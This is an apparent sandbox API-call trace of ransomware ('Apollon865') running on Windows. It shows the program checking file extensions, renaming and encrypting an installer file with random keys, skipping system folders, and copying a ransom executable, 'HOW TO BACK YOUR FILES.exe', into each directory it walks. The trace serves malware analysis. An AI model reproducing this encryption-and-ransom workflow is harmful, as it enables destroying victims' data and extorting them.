	[0076.347] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0076.347] lstrlenW (lpString="sbf") returned 3
	[0076.347] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0076.347] lstrlenW (lpString="scx") returned 3
	[0076.347] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0076.347] lstrlenW (lpString="sdb") returned 3
	[0076.347] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0076.347] lstrlenW (lpString="sdc") returned 3
	[0076.347] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0076.347] lstrlenW (lpString="sdf") returned 3
	[0076.347] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0076.360] lstrlenW (lpString="sis") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0076.360] lstrlenW (lpString="spq") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0076.360] lstrlenW (lpString="te") returned 2
	[0076.360] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0076.360] lstrlenW (lpString="teacher") returned 7
	[0076.360] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0076.360] lstrlenW (lpString="tmd") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0076.360] lstrlenW (lpString="tps") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0076.360] lstrlenW (lpString="trc") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0076.360] lstrlenW (lpString="trc") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0076.360] lstrlenW (lpString="trm") returned 3
	[0076.360] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0076.361] lstrlenW (lpString="udb") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0076.361] lstrlenW (lpString="udl") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0076.361] lstrlenW (lpString="usr") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0076.361] lstrlenW (lpString="v12") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0076.361] lstrlenW (lpString="vis") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0076.361] lstrlenW (lpString="vpd") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0076.361] lstrlenW (lpString="vvv") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0076.361] lstrlenW (lpString="wdb") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0076.361] lstrlenW (lpString="wmdb") returned 4
	[0076.361] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0076.361] lstrlenW (lpString="wrk") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0076.361] lstrlenW (lpString="xdb") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0076.361] lstrlenW (lpString="xld") returned 3
	[0076.361] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0076.361] lstrlenW (lpString="xmlff") returned 5
	[0076.361] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0076.361] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865") returned 149
	[0076.361] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0076.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0076.363] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0076.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0076.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0076.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0076.363] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0076.364] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0076.364] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0076.364] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0x100
	[0076.368] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0076.459] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0076.459] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0076.460] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0076.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0076.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0076.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.460] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0076.462] CloseHandle (hObject=0x100) returned 1
	[0076.462] CloseHandle (hObject=0xd8) returned 1
	[0076.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0076.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0076.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0076.462] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0076.463] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0076.463] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0076.463] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0076.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0076.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0076.463] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73
	[0076.463] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0076.463] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0076.463] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0076.464] GetLastError () returned 0x0
	[0076.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0076.464] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0076.464] CloseHandle (hObject=0x150) returned 1
	[0076.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0076.464] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.464] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0076.464] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.464] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.464] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.464] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.464] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f638b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.464] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.464] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0076.464] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.464] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0076.464] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0076.465] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0076.465] lstrlenW (lpString="packages") returned 8
	[0076.465] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned 75
	[0076.465] lstrcpyW (in: lpString1=0x119e69c, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0076.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0076.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a3168
	[0076.465] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0076.465] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0076.465] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0076.465] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0076.465] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0076.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0076.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0076.465] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 82
	[0076.465] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages"
	[0076.465] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.465] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0076.466] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0076.466] GetLastError () returned 0x0
	[0076.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0076.466] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0076.466] CloseHandle (hObject=0x150) returned 1
	[0076.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0076.466] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.466] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0076.466] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.466] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.466] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.466] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.467] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.467] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.467] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.467] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.467] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.467] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.467] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="Apollon865.txt.exe") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2=".") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="..") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="windows") returned -1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="bootmgr") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="temp") returned -1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="pagefile.sys") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="boot") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="ids.txt") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="ntuser.dat") returned 1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="perflogs") returned -1
	[0076.467] lstrcmpiW (lpString1="Patch", lpString2="MSBuild") returned 1
	[0076.467] lstrlenW (lpString="Patch") returned 5
	[0076.467] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned 84
	[0076.467] lstrcpyW (in: lpString1=0x119e6ae, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0076.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0076.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0076.467] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0076.467] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0076.467] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0076.467] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0076.467] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0076.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0076.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0076.467] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 88
	[0076.467] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0076.468] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.468] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 0
